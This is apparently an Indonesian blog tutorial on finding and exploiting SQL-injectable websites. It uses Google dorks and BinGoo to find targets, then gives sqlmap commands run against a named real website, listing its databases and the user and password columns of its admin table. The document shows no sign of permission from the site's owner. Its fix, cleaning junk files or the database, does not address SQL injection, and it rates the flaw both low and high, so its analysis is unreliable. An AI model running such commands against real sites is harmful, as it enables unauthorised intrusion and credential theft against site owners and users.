Halo semua, pada kesempatan ini saya mau berbagi ilmu yaitu “bagaimana cara menganalisis website yang mempunyai kelemahan dengan metode penetrasi?”. Sebelumnya sudah tahu apa itu metode penetrasi? kalau belum saya akan menjelaskan apa itu metode penetrasi.
“Metode penetrasi adalah metode komprehensif untuk menguji dasar komputasi yang lengkap, terpadu, operasional,dan terpercaya yang terdiri dari perangkat keras, perangkat lunak dan manusia. Proses ini melibatkan analisis aktif sistem untuk setiap potensi kerentanan, termasuk konfigurasi sistem yang buruk atau tidak tepat, kelemahan hardware dan software, dan kelemahan operasional dalam proses atau penanggulangan teknis.”
Dalam melakukan pengujian saya menggunakan OS (Operating System) menggunakan dari KALI LINUX, karena OS ini menurut saya sangat simple dan mudah dan tools maupun aplikasinya sudah ada terinstall, bagi kalian yang menggunakan OS WINDOWS masih bisa dijalankan dengan CMD untuk menginstall software BinGoo, Sqlmap, Wpscan,dll. dan untuk data website yang memiliki kelemahan disini di pencarian google.
Sebelum melakukan pengujian ada beberapa yang harus disiapkan yaitu:
- Software BinGoo yaitu berguna mencari website yang memiliki kelemahan di pencarian google maupun Bing
- Google Dorking yaitu mencari target website yang memiliki kelemahan.
- Software SQLmap yaitu untuk mendeteksi website tersebut memiliki kelemahan apa tidak.
Jika kalian sudah punya semua yang diperlukan langsung saja kita menganalisis website yang memiliki kelemahan, kalau kurang paham bagaimana cara memasang software BinGoo link video ada dibawah.
Di software binGoo memiliki 6 fitur, disini saya menggunakan fitur nomor 1 karena mau melakukan pencarian di google. untuk dork saya menggunakan “inurl:php?id=”
Ada 3 cara untuk membuat dorking sendiri yaitu
- inurl : merupakan website yang ingin dituju
- Intext : kata — kata yang tujukan
- Site : Alamat negara yang dituju
Setelah melakukan pencarian di google maka akan muncul data website yang kemungkinan memiliki kerentanan di notepad.
disini saya mau melakukan pengujian di alamat website “http://acupuncturetoday.com/mpacms/at/articles.php?id=31918" apakah memiliki kelemahan atau tidak.
Dan ternyata dalam melakukan Pengujian website tersebut terdapat server error yang bertulis Fatal error: Call to a member function on a non-objectin/www/ems/mpacms/mercury/doc-root/common/getitem.php on line 187. Untuk melakukan pengujian bisa memberikan tanda petik satu (‘). Selanjutnya pengecekan melalui software sqlmap.
Untuk melakukan pengujian website yang sudah memliki kerentanan dengan sqlmap maka format tulisan yaitu :
- u yang berarti url atau website
- dbs yang berarti mencari database website tersebut
Pada proses pengujian di kali linux dengan menggunakan sqlmap terdapat bug database yang error di bagian Boolean-based blind sehingga Kerentanan website ini termasuk low level bug.
Pada gambar diatas menunjukan bahwa website tersebut memiliki celah database yang kemungkinan bisa diserang oleh attacker dan berikut tabel database yang didapatkan
Available database [5]
· bible_glossary
· bibble_history
· information_schema
· keywords
· kidsdict
Untuk melakukan pengecekan database pada website tersebut dapat dilakukan dengan format tulisan
sqlmap — u http://acupuncturetoday.com/mpacms/at/articles.php?id=31918 -D keywords –tables
· u adalah link webiste tersebut
· D adalah memilih database yang sudah didapatkan
· Tables adalah tabel database
Setelah melakukan pengecekan database pada gambar 3.8 maka didapatkan 3 database yaitu :
Database : Keywords
[3 tables]
· Admin
· Projects
· Style
Untuk melakukan pengecekan database admin website tersebut maka dilakukan dengan format penulisan yaitu
sqlmap –u http://acupuncturetoday.com/mpacms/at/articles.php?id=31918 -D keywords -T admin –columns
· -u adalah link webiste yang memiliki kerentanan
· -D adalah database
· -T adalah Tabel
· — Columns adalah kolom
Pada gambar diatas didapat 5 kolom dari tabel admin dan database keywords yaitu
- User
- Id
- Pass
- Rissiplerg
ANALISA PENGUJIAN
Setelah melakukan metode penestrasi dengan menggunakan sqlmap pada pengujian website acupuncturetoday.com terdapat kerentanan yang tergolong kategori tinggi sehingga attacker bisa mengetahui semua data database yang ada di website seperti database admin, project,dll. dengan menggunakan metode penetrasi dan untuk mengatasi kerentanan website ini dilakukan dengan pembersihan file junk yang error atau clean up database.
Mungkin itu saja yang bisa saya berikan, kalau ada kesalahan atau kekurangan saya mohon maaf ini hanyalah untuk pembelajaran, jika ada kurang dimengerti silahkan komentar. Terima Kasih
VIDEO TUTORIAL
Tutorial menggunakan BinGoo https://www.youtube.com/watch?v=KhUkdps2w8o
Tutorial Menggunakan WPSCAN https://www.youtube.com/watch?v=n6SLqtmhN7w
Tutorial Menggunakan WPSCAN https://www.youtube.com/watch?v=n6SLqtmhN7w
EmoticonEmoticon